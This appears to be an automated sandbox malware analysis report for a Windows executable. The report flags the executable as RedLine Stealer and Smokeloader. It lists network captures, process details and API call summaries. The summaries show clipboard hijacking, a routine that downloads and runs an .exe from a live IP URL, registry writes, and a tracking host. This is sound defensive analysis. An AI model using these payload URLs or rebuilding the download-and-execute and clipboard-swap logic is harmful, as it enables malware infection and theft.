2025-01-09 07:34:59 UTC	4906	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2025-01-09 07:34:59 UTC	1136	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46raqtnioro7rf0stmj8ukr332; expires=Mon, 05 May 2025 01:21:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6k3chT%2FyvDjP9eDK0Irt%2BggBnEUfjgNRP5tVBmo6YhunZxUMFyGqbCtBLFRpU9b5dW5Mvn5vq3%2BA8KWglBaD3s%2F78uuYWvnRpk%2FQ70FpEzSXPtIzIuEI14YBPynGVAghkZCzI9Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2bf7b8d13727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9109&min_rtt=1941&rtt_var=5164&sent=12&recv=24&lost=0&retrans=0&sent_bytes=3057&recv_bytes=21201&delivery_rate=2256568&cwnd=235&unsent_bytes=0&cid=7043ba77af9f83fb&ts=523&x=0"
2025-01-09 07:34:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 07:34:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:34:43
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\xCnwCctDWC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xCnwCctDWC.exe"
Imagebase:	0x400000
File size:	538'112 bytes
MD5 hash:	0E5AA226DB83B1EBCF03B3FA773CD744
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:34:51
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1C22.tmp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1C22.tmp.exe"
Imagebase:	0x400000
File size:	341'504 bytes
MD5 hash:	D66791DB5C8D7BF392361E2343F7A5EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:34:59
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7696 -s 1668
Imagebase:	0xcf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	3.9%
Signature Coverage:	5.9%
Total number of Nodes:	762
Total number of Limit Nodes:	20

Executed Functions

Function 004016DF Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 004016E6
Sleep.KERNEL32(00001541,0000004C), ref: 004016F0

Part of subcall function 0040CC10: _strlen.LIBCMT ref: 0040CC27

OpenClipboard.USER32(00000000), ref: 0040171D
GetClipboardData.USER32(00000001), ref: 0040172D
GlobalLock.KERNEL32(00000000), ref: 0040173C
_strlen.LIBCMT ref: 00401749
_strlen.LIBCMT ref: 00401778
_strlen.LIBCMT ref: 004018BC
EmptyClipboard.USER32 ref: 004018D2
GlobalAlloc.KERNEL32(00000002,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004018DF
GlobalLock.KERNEL32(00000000), ref: 004018FD
GlobalUnlock.KERNEL32(00000000), ref: 00401909
SetClipboardData.USER32(00000001,00000000), ref: 00401912
GlobalFree.KERNEL32(00000000), ref: 00401919
CloseClipboard.USER32 ref: 0040193D
Sleep.KERNEL32(000002D2), ref: 00401948

Strings

i, xrefs: 00401759

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ClipboardGlobal$_strlen$DataLockSleep$AllocCloseEmptyFreeH_prolog3_OpenUnlock
String ID: i
API String ID: 1583243082-3865851505
Opcode ID: 3890b0babb8c445354b39205077755c2ed8c63edb095b033559c6878a2d81ccf
Instruction ID: e3fffec023ebc7079252f179b6fac15abd8ab57f1bda789313b6278f228a63c7
Opcode Fuzzy Hash: 3890b0babb8c445354b39205077755c2ed8c63edb095b033559c6878a2d81ccf
Instruction Fuzzy Hash: 26510531C00384DAE7119B64EC567AD7774FF29306F04523AE805721B3EB789A85C75D

Function 004029F4 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402A17
InternetOpenUrlW.WININET(00000000,0045D820,00000000,00000000,00000000,00000000), ref: 00402A2D
GetTempPathW.KERNEL32(00000105,?), ref: 00402A49
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 00402A5F
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00402A98
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00402AD4
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00402AF1
CloseHandle.KERNEL32(00000000), ref: 00402B07
ShellExecuteExW.SHELL32(?), ref: 00402B68
WaitForSingleObject.KERNEL32(?,00008000), ref: 00402B7D
CloseHandle.KERNEL32(?), ref: 00402B89
InternetCloseHandle.WININET(00000000), ref: 00402B92
InternetCloseHandle.WININET(00000000), ref: 00402B95

Strings

<, xrefs: 00402B45
ShareScreen, xrefs: 00402A12
.exe, xrefs: 00402A6B

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Internet$CloseFileHandle$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: .exe$<$ShareScreen
API String ID: 3323492106-493228180
Opcode ID: f58ca3bd5773c85defe3f015c49e34db42d2945e511aafa3139439615266b492
Instruction ID: e60cee4ce2238679e1fb1751da2f8ba8583e6b9327599976f3985bfb1b161874
Opcode Fuzzy Hash: f58ca3bd5773c85defe3f015c49e34db42d2945e511aafa3139439615266b492
Instruction Fuzzy Hash: 4741437190021CAFEB209F649D85FEAB7BCFF05745F0081F6A549E2190DEB49E858FA4

Function 0070A1DE Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0070A206
Module32First.KERNEL32(00000000,00000224), ref: 0070A226

Memory Dump Source

Source File: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, Offset: 00709000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_709000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f5143a04ee8bb9d7b22dda72e076c28c2b5974e8e04df86a8d2b53103a98be85
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E2F0C232100310FBD7203BB49C8DFAA72E8BF89324F100638EA42910C0DA78EC454A62

Function 00709004 Relevance: 2.4, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

Strings

6@9, xrefs: 0070954C

Memory Dump Source

Source File: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, Offset: 00709000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_709000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID: 6@9
API String ID: 0-1848968164
Opcode ID: f28315cbed03dc7b30899d0488b46b60c6ebcfa57b27da8409306b6a5bfdd709
Instruction ID: f24e1e27f7705fc81767ab3f430f16896cc5adae34df6112cf4a652090d59d5b
Opcode Fuzzy Hash: f28315cbed03dc7b30899d0488b46b60c6ebcfa57b27da8409306b6a5bfdd709
Instruction Fuzzy Hash: DC924C9684E3C49FDB038B305879AA17FB05E63255B0E46DBC2C5CF1E3E14DA90AD726

Function 0043D03C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043CD0A: CreateFileW.KERNEL32(00000000,00000000,?,0043D0E5,?,?,00000000,?,0043D0E5,00000000,0000000C), ref: 0043CD27

GetLastError.KERNEL32 ref: 0043D150
__dosmaperr.LIBCMT ref: 0043D157
GetFileType.KERNEL32(00000000), ref: 0043D163
GetLastError.KERNEL32 ref: 0043D16D
__dosmaperr.LIBCMT ref: 0043D176
CloseHandle.KERNEL32(00000000), ref: 0043D196
CloseHandle.KERNEL32(?), ref: 0043D2E0
GetLastError.KERNEL32 ref: 0043D312
__dosmaperr.LIBCMT ref: 0043D319

Strings

H, xrefs: 0043D29E

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 333ff1eee16b6be64793bd318ad3fa05ede6171504cd334b681c7e0d8fb5623c
Instruction ID: 375b4e16163f674ce9da34a4ad13212d62ba31a6b33a52f993f1a67b08af40b6
Opcode Fuzzy Hash: 333ff1eee16b6be64793bd318ad3fa05ede6171504cd334b681c7e0d8fb5623c
Instruction Fuzzy Hash: ACA13632E101149FCF19AF68EC517AE7BA1AF0A324F14115EF8159B391D6389D02CB5A

Function 00432F29 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5b903c5d4d7d43f3395e6d2b0615cff82c67b54ffa341e922cfa30cc62cd86
Instruction ID: e6f917e7e92ba8bfc6e6230e9bcbcb6957f35208d34794f9861c257e27c575d5
Opcode Fuzzy Hash: bf5b903c5d4d7d43f3395e6d2b0615cff82c67b54ffa341e922cfa30cc62cd86
Instruction Fuzzy Hash: 44C11670E04345AFDF11DFAAD841BAEBBB0BF0D305F14119AE815A7392C7389A41CB69

Function 0067003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0067024D

Strings

kernel32.dll, xrefs: 0067008F, 00670095
cess, xrefs: 0067018D

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 3765450f4516cd5a446ec64091ac8bb535a0f3870ef1ebb4caee572cfbf4afc2
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 69526A74A01229DFEB64CF58C985BA8BBB1BF09304F1480D9E54DAB351DB30AE95DF24

Function 00402C04 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 180
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402C27

Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010C1
Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010DD

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402E3A
InternetCloseHandle.WININET(00000000), ref: 00402E4B
InternetCloseHandle.WININET(00000000), ref: 00402E4E

Strings

ShareScreen, xrefs: 00402C22
https://post-to-me.com/track_prt.php?sub=, xrefs: 00402C57, 00402D83, 00402DF2
&cc=DE, xrefs: 00402DB4, 00402DBA, 00402E17

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Internet$CloseHandleOpen_wcslen
String ID: &cc=DE$ShareScreen$https://post-to-me.com/track_prt.php?sub=
API String ID: 3067768807-1501832161
Opcode ID: 89be1508a3bc8005e5e9602c7d60be0ea7129d63634688ee67e7a2662fb1427b
Instruction ID: 610146e9b537463af15e95cb977131b409bd75c1d6f6ac837d2bfbf99fd09ca4
Opcode Fuzzy Hash: 89be1508a3bc8005e5e9602c7d60be0ea7129d63634688ee67e7a2662fb1427b
Instruction Fuzzy Hash: 95515295E65344A9E320EFB0BC46B762378EF58712F10643BE518CB2F2E7B09944875E

Function 004051D0 Relevance: 9.1, APIs: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Cnd_init.LIBCPMT ref: 004051E4
__Mtx_init.LIBCPMT ref: 0040520A
std::_Cnd_initX.LIBCPMT ref: 0040522D
__Thrd_start.LIBCPMT ref: 00405252
std::_Cnd_waitX.LIBCPMT ref: 00405272
std::_Cnd_initX.LIBCPMT ref: 0040529F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: a291ca2b74a2a079234bae36187643b4709f220aeabf3b9fcc979ead6e8bbad4
Instruction ID: 19e1887bebf86d68050debe7f629b0077f83fb22891cd3fd40adaf63da529dec
Opcode Fuzzy Hash: a291ca2b74a2a079234bae36187643b4709f220aeabf3b9fcc979ead6e8bbad4
Instruction Fuzzy Hash: A2214F72C042089ADF15EBE9D845BDEB7F8AF08318F14407FE544B72C2DB7C99448AA9

Function 00405800 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Cnd_initX.LIBCPMT ref: 0040581C
__Cnd_signal.LIBCPMT ref: 00405828
std::_Cnd_initX.LIBCPMT ref: 0040583D
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 00405844

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID:
API String ID: 2059591211-0
Opcode ID: 75d2ec5a84d6058dd22c20c78519f5ebb85b54958e4003f0e2117dcdaee44c85
Instruction ID: 35483bd65d518524af9bc0c336ffe1903f30c86e9e3fc9c48514fd729a934722
Opcode Fuzzy Hash: 75d2ec5a84d6058dd22c20c78519f5ebb85b54958e4003f0e2117dcdaee44c85
Instruction Fuzzy Hash: 6BF082324007009BE7317762C807B1A77A0AF0031DF10883FF496B69E2CFBDA8544A9D

Function 0042DFC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00457910,00000010,00000003,00431F5D), ref: 0042DFD3
ExitThread.KERNEL32 ref: 0042DFDA

Strings

F(@, xrefs: 0042DFCC, 0040F1E7

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorExitLastThread
String ID: F(@
API String ID: 1611280651-2698495834
Opcode ID: 05a6bf9322938420f326034e00ba90610ba59fb7b5f4eb19846d64da3dd64c95
Instruction ID: 20c869b795d3320417ca4c19bdea27327a86df913c4cc91a2df8cdb03a1abfe5
Opcode Fuzzy Hash: 05a6bf9322938420f326034e00ba90610ba59fb7b5f4eb19846d64da3dd64c95
Instruction Fuzzy Hash: E7F0C274A00614AFDB14AFB2E80ABAE3B70FF09715F10056EF4015B392CB796A55DB6C

Function 0042E114 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(?,?,Function_0002DFC0,00000000,?,?), ref: 0042E15D
GetLastError.KERNEL32(?,?,?,?,?,0040CF0E,00000000,00000000,?,?,00000000,?), ref: 0042E169
__dosmaperr.LIBCMT ref: 0042E170

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 2b840c7f841b7cccdda56e05bcd555d2476c4531c994d68046d65894b3d724d0
Instruction ID: dd8ab9647f30f5a835e394039e4629bb1c045fd9997365d20d72d2d3bd3a9304
Opcode Fuzzy Hash: 2b840c7f841b7cccdda56e05bcd555d2476c4531c994d68046d65894b3d724d0
Instruction Fuzzy Hash: D601D236200239BBDB159FA3EC059AF7B6AEF81720F40003AF90587210DB358922C7A8

Function 00434755 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0040DDD5,00000000,00000002,0040DDD5,00000000,?,?,?,00434804,00000000,00000000,0040DDD5,00000002), ref: 0043478E
GetLastError.KERNEL32(?,00434804,00000000,00000000,0040DDD5,00000002,?,0042C161,?,00000000,00000000,00000001,?,0040DDD5,?,0042C216), ref: 00434798
__dosmaperr.LIBCMT ref: 0043479F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 0f8939188b6fdc8a7da50d1b405e1129083f9e2b96a50d0a3cd5949e7845d65d
Instruction ID: bcc915797d3e420762720933ca2114d92cc1cd6946a03aaf12616f5971efc3d8
Opcode Fuzzy Hash: 0f8939188b6fdc8a7da50d1b405e1129083f9e2b96a50d0a3cd5949e7845d65d
Instruction Fuzzy Hash: 01016836710114ABCB148FAADC059EE7B29EFCA730F24020AF81487290EB35ED118B98

Function 00402BAD Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402BCF
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,00000004,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402BE7
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402BF7

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 17a0f39c5dea863e0681c067e94205fb1cf9212befe975e377a74504568b03c9
Instruction ID: 415a99b38b1cf926e07f2752f011508d1a06d6109c2dcef31e57e84081a4d25d
Opcode Fuzzy Hash: 17a0f39c5dea863e0681c067e94205fb1cf9212befe975e377a74504568b03c9
Instruction Fuzzy Hash: ABF0B4B650011CFFEB214F94DD89DBBBA7CEB007E9F100175FA01B2150D6B19E009664

Function 0042E074 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431F5E: GetLastError.KERNEL32(?,?,?,0042EACE,00434D7C,?,00431F08,00000001,00000364,?,0042DFE5,00457910,00000010), ref: 00431F63
Part of subcall function 00431F5E: _free.LIBCMT ref: 00431F98
Part of subcall function 00431F5E: SetLastError.KERNEL32(00000000), ref: 00431FCC

ExitThread.KERNEL32 ref: 0042E086
CloseHandle.KERNEL32(?,?,?,0042E1A6,?,?,0042E01D,00000000), ref: 0042E0AE
FreeLibraryAndExitThread.KERNEL32(?,?,?,?,0042E1A6,?,?,0042E01D,00000000), ref: 0042E0C4

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary_free
String ID:
API String ID: 1198197534-0
Opcode ID: 358fd455719f577d8bc93a3d3127ed53d65e98e9d00355e3dd6338ab7ece4e02
Instruction ID: 941e5d7bb2069d1fb9760ffb86e13a1db41397deee20687f00b4917166382ed0
Opcode Fuzzy Hash: 358fd455719f577d8bc93a3d3127ed53d65e98e9d00355e3dd6338ab7ece4e02
Instruction Fuzzy Hash: 1BF054302006347BD735AF27E808A5B7A986F41775F584715FC25C22A1D768DD838659

Function 0040239E Relevance: 3.1, APIs: 2, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 004023C5
PostQuitMessage.USER32(00000000), ref: 00402563

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: MessagePostProcQuitWindow
String ID:
API String ID: 3873111417-0
Opcode ID: e934076550e84698602cd97162307a7d632c652edc7a108d85d40228a86a25f4
Instruction ID: 43c76da2243f772c6aced19a3fe0e8e69066b3bbdff08d4cabba9d560eb75400
Opcode Fuzzy Hash: e934076550e84698602cd97162307a7d632c652edc7a108d85d40228a86a25f4
Instruction Fuzzy Hash: 02412E25A64340A5E730EFA5BD55B2633B0FF64722F10252BE528DB2B2E3B28540C35E

Function 0040155A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001D1B), ref: 00401562

Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010C1
Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010DD

Strings

http://176.113.115.19/ScreenUpdateSync.exe, xrefs: 0040156D, 004016A6

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _wcslen$Sleep
String ID: http://176.113.115.19/ScreenUpdateSync.exe
API String ID: 3358372957-3120454669
Opcode ID: ec5b8e6b587f5ffe173a4fe2956bfbb53381ca1a870b5d286590f738381d6d8e
Instruction ID: 033e26d6726dec48d9da5d172e0a3ce7e355aee553d479aaec466036f4edd3d7
Opcode Fuzzy Hash: ec5b8e6b587f5ffe173a4fe2956bfbb53381ca1a870b5d286590f738381d6d8e
Instruction Fuzzy Hash: 83319A15A6538094E330CFA0BC95A662330FF64B52F50653BD60CCB2B2E7A18587C35E

Function 00402960 Relevance: 3.0, APIs: 2, Instructions: 49COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0040298F
__fassign.LIBCMT ref: 0040299F

Part of subcall function 00402823: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402906

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Ios_base_dtor__fassign_wcslenstd::ios_base::_
String ID:
API String ID: 2843524283-0
Opcode ID: 99f78a7314c7ad5a03a0c5f770c80a671dc835224e362237c5e255d3e1775ea8
Instruction ID: f5c656a3c742482aaca5e7be5327d781ae1f97b048d34cfcbeac2439ecd5e81b
Opcode Fuzzy Hash: 99f78a7314c7ad5a03a0c5f770c80a671dc835224e362237c5e255d3e1775ea8
Instruction Fuzzy Hash: C901D6B1E0021C5ADB25FA25EC46BEE77689B41304F0041BFA605E31C1E9B85E85CAD8

Function 00670E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,00670223,?,?), ref: 00670E19
SetErrorMode.KERNEL32(00000000,?,?,00670223,?,?), ref: 00670E1E

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 5a5a572b8c797ad976ea18bf62a4cab0582b95af9600aa588e6fb0acf5fca8fa
